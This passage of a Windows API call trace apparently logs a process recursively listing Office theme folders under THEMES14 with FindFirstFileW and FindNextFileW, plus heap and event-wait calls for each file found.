ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.644] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.645] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0268.645] ResetEvent (hEvent=0xe0) returned 1 [0268.645] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.646] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0268.646] ResetEvent (hEvent=0xe0) returned 1 [0268.646] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.650] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.650] ResetEvent (hEvent=0xe0) returned 1 [0268.650] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.651] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.651] ResetEvent (hEvent=0xe0) returned 1 [0268.651] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.653] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.653] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.653] GetProcessHeap () returned 0x550000 [0268.653] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.653] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0268.653] GetProcessHeap () returned 0x550000 [0268.653] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.653] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.653] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.653] ResetEvent (hEvent=0xe0) returned 1 [0268.653] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.655] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0268.655] ResetEvent (hEvent=0xe0) returned 1 [0268.655] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.656] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0268.656] ResetEvent (hEvent=0xe0) returned 1 [0268.656] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.658] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.658] ResetEvent (hEvent=0xe0) returned 1 [0268.658] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.659] ResetEvent (hEvent=0xe0) returned 1 [0268.660] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.662] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.662] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.662] GetProcessHeap () returned 0x550000 [0268.662] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.662] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0268.662] GetProcessHeap () returned 0x550000 [0268.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.663] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.663] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.663] ResetEvent (hEvent=0xe0) returned 1 [0268.663] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.664] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0268.664] ResetEvent (hEvent=0xe0) returned 1 [0268.665] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.666] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0268.666] ResetEvent (hEvent=0xe0) returned 1 [0268.666] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.668] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.668] ResetEvent (hEvent=0xe0) returned 1 [0268.668] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.669] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.669] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.669] GetProcessHeap () returned 0x550000 [0268.669] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.669] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0268.669] GetProcessHeap () returned 0x550000 [0268.669] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.670] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.670] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.670] ResetEvent (hEvent=0xe0) returned 1 [0268.670] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.671] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0268.671] ResetEvent (hEvent=0xe0) returned 1 [0268.671] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.673] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0268.673] ResetEvent (hEvent=0xe0) returned 1 [0268.673] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.689] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.689] ResetEvent (hEvent=0xe0) returned 1 [0268.689] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.690] ResetEvent (hEvent=0xe0) returned 1 [0268.690] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.692] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.692] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.694] GetProcessHeap () returned 0x550000 [0268.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.694] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0268.695] GetProcessHeap () returned 0x550000 [0268.695] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.695] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.695] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.695] ResetEvent (hEvent=0xe0) returned 1 [0268.695] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.699] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0268.699] ResetEvent (hEvent=0xe0) returned 1 [0268.699] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.700] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0268.700] ResetEvent (hEvent=0xe0) returned 1 [0268.700] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.702] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.702] ResetEvent (hEvent=0xe0) returned 1 [0268.702] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.704] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.704] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.705] GetProcessHeap () returned 0x550000 [0268.705] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.705] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, 